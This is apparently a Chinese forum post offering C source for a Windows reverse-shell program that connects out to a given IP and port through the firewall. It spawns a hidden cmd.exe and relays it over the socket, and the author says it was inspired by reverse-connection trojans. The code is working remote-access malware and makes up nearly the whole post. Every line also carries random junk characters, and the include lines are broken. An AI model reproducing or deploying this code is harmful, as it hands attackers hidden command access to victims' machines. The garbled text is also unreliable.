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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Q6.*"`  
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/* ============================== 2rO)qjiH  
Rebound port in Windows NT M*O(+EM  
By wind,2006/7 &cu] vw  
===============================*/ *hZ~i{c,7  
#include ;Lsjh#  
#include >{ECyh;  
&7($kj  
#pragma comment(lib,"wsock32.lib") y Tw',N{  
w.D4dv_H  
void OutputShell(); o9 i#N  
SOCKET sClient; eyf4M;goz}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /~Zc}o,J  
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void main(int argc,char **argv) 7~ *;=,mw  
{ gj[ >p=Wn  
WSADATA stWsaData; WbQhl sc:  
int nRet; mX@j  
SOCKADDR_IN stSaiClient,stSaiServer; niYz9YX  
jy!f{dsC  
if(argc != 3) &gWMl`3^*!  
{ @TA8^ND  
printf("Useage:\n\rRebound DestIP DestPort\n"); t}]9VD9  
return; c>S"`r  
} >G<\1R  
N a. nA  
WSAStartup(MAKEWORD(2,2),&stWsaData); KP=D! l&q  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n9kd2[s|  
|7QVMFZ  
stSaiClient.sin_family = AF_INET; 7MO  
stSaiClient.sin_port = htons(0); n5egKAgA  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); qSEB}1  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) wX)efLmyhY  
{ $/[Gys3"  
printf("Bind Socket Failed!\n"); zP :~O  
return; e{fZ}`=7y  
} e(}oq"'z  
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stSaiServer.sin_family = AF_INET; WYwzo V-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _x\-!&[p  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); +R "AA_A?  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) OgEUq''  
{ k40Ep(M}  
printf("Connect Error!"); vIVw'Z(g}  
return; # #k #q=4  
} e=gboR  
OutputShell(); z}> 4,d  
} u}Ei_ O<z  
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void OutputShell() GFd Z`i  
{ ZR/R'prW  
char szBuff[1024]; 5mI?pfm  
SECURITY_ATTRIBUTES stSecurityAttributes; 6Cl+KcJH  
OSVERSIONINFO stOsversionInfo; v]WH8GI  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x*unye7  
STARTUPINFO stStartupInfo; Z$!C=  
char *szShell; M MAAHo  
PROCESS_INFORMATION stProcessInformation; ?_VRfeztw  
unsigned long lBytesRead; *he7BUO  
#04{(G|~+E  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ,'FD}yw4v  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Hs[}l_gYn  
stSecurityAttributes.lpSecurityDescriptor = 0; o-SRSu  
stSecurityAttributes.bInheritHandle = TRUE; C!!mOAhJ  
H9%l?r5  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )UR1E?'  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J#6LSD@ (O  
[zY!'cz?  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); QjQ4Z'.r>  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |yLk5e~@-  
stStartupInfo.wShowWindow = SW_HIDE; LIr(mB"Y0  
stStartupInfo.hStdInput = hReadPipe; R]CZw;zS_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 3hc#FmLr2b  
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GetVersionEx(&stOsversionInfo); .r~'(g{qt  
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switch(stOsversionInfo.dwPlatformId) }l.KpdRT2  
{ LkaG8#m1R  
case 1: 'oC$6l'rQ  
szShell = "command.com"; )*!1bgXQ  
break;  Nm jzDN  
default: jo_o` j  
szShell = "cmd.exe"; mYX56,b}5  
break; j: <t  
} XDHLEG-u(  
xttYn ]T  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); m +Y@UgB  
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send(sClient,szMsg,77,0); NtHbwU,  
while(1) j,}4TDWa  
{ [FB&4>V/  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !\aV 0,  
if(lBytesRead) NeY"6!;k  
{ ;)gLjF/F7  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 3nwz<P  
send(sClient,szBuff,lBytesRead,0); !loO%3_)  
} ]a)IMIh;  
else lNHNL a>W  
{ yHl@_rN sC  
lBytesRead=recv(sClient,szBuff,1024,0); M6\7FP6G  
if(lBytesRead<=0) break; %n jOX#.w  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); fb /qoZ  
} +q7qK*  
} fzl=d_  
3KtAK9PT  
return; !@( M_Z'  
}
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